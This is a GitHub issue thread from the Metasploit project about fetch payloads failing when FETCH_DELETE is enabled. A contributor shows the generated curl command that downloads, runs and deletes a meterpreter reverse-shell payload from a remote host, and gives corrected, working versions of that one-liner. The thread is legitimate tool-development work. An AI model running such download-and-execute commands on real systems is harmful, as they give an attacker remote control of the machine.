Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

Reports of Fetch payloads failing when FETCH_DELETE is set to TRUE #19391

Open
bwatters-r7 opened this issue Aug 14, 2024 · 6 comments
Open

Reports of Fetch payloads failing when FETCH_DELETE is set to TRUE #19391

bwatters-r7 opened this issue Aug 14, 2024 · 6 comments
Assignees
Labels
bug not-stale Label to stop an issue from being auto closed

Comments

@bwatters-r7
Copy link
Contributor

@h00die-gr3y mentioned that there were reports of Fetch payloads failing when FETCH_DELETE was set to true. I'm looking for examples to see if we can recreate and correct.

@h00die-gr3y
Copy link
Contributor

Hi @bwatters-r7 ,
Just returned from holiday.
I will do some testing this weekend to get you some additional info on the issue.

@h00die-gr3y
Copy link
Contributor

h00die-gr3y commented Aug 16, 2024

@bwatters-r7 ,
Just checked with payload cmd/linux/http/x64/meterpreter/reverse_tcp your command line that you are using to remove the payload when FETCH_DELETE is set to true.
See example below:

curl -so /tmp/zMoATqjBXhsa http://192.168.201.8:1981/v-3F_vu1N5ZH7UH1KuehWQ; chmod +x /tmp/zMoATqjBXhsa; /tmp/zMoATqjBXhsa &; rm -rf /tmp/zMoATqjBXhsa
/bin/sh: 76: Syntax error: ";" unexpected

Unfortunate the third command in your multi commandline /tmp/zMoATqjBXhsa &; will throw a syntax error (in bash, sh and most other shells). There needs to be a command before ;

The correct way to do this is using (...) creating a subshell or using brackets { ... }

Example using (...)
curl -so /tmp/zMoATqjBXhsa http://192.168.201.8:1981/v-3F_vu1N5ZH7UH1KuehWQ; chmod +x /tmp/zMoATqjBXhsa; (/tmp/zMoATqjBXhsa &); rm -rf /tmp/zMoATqjBXhsa

Example using { ... }
curl -so /tmp/zMoATqjBXhsa http://192.168.201.8:1981/v-3F_vu1N5ZH7UH1KuehWQ; chmod +x /tmp/zMoATqjBXhsa; { /tmp/zMoATqjBXhsa & }; rm -rf /tmp/zMoATqjBXhsa

Note that the braces are more picky about syntax. The space after { and the space before } is required. In some situations, the braces are more efficient because they don't fork a new subshell.
See also the POSIX standard Shell & Utilities 2. Shell Command Language and in particular section 2.9.4 Compound Commands

Just try it out in a linux shell yourself.

PS: Windows targets with similar payloads cmd/windows/http/x64/meterpreter/reverse_tcp are working fine.

Copy link

Hi!

This issue has been left open with no activity for a while now.

We get a lot of issues, so we currently close issues after 60 days of inactivity. It’s been at least 30 days since the last update here.
If we missed this issue or if you want to keep it open, please reply here. You can also add the label "not stale" to keep this issue open!

As a friendly reminder: the best way to see this issue, or any other, fixed is to open a Pull Request.

@github-actions github-actions bot added the Stale Marks an issue as stale, to be closed if no action is taken label Sep 16, 2024
@h00die-gr3y
Copy link
Contributor

@bwatters-r7 Do you need more background on the fix for this bug?

@github-actions github-actions bot removed the Stale Marks an issue as stale, to be closed if no action is taken label Sep 17, 2024
Copy link

Hi!

This issue has been left open with no activity for a while now.

We get a lot of issues, so we currently close issues after 60 days of inactivity. It’s been at least 30 days since the last update here.
If we missed this issue or if you want to keep it open, please reply here. You can also add the label "not stale" to keep this issue open!

As a friendly reminder: the best way to see this issue, or any other, fixed is to open a Pull Request.

@github-actions github-actions bot added the Stale Marks an issue as stale, to be closed if no action is taken label Oct 18, 2024
Copy link

Hi again!

It’s been 60 days since anything happened on this issue, so we are going to close it.
Please keep in mind that I’m only a robot, so if I’ve closed this issue in error please feel free to reopen this issue or create a new one if you need anything else.

As a friendly reminder: the best way to see this issue, or any other, fixed is to open a Pull Request.

@bwatters-r7 bwatters-r7 reopened this Nov 18, 2024
@github-project-automation github-project-automation bot moved this from Done to In Progress in Metasploit Kanban Nov 18, 2024
@dwelch-r7 dwelch-r7 added not-stale Label to stop an issue from being auto closed and removed Stale Marks an issue as stale, to be closed if no action is taken labels Nov 18, 2024
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
Labels
bug not-stale Label to stop an issue from being auto closed
Projects
Status: In Progress
Development

No branches or pull requests

3 participants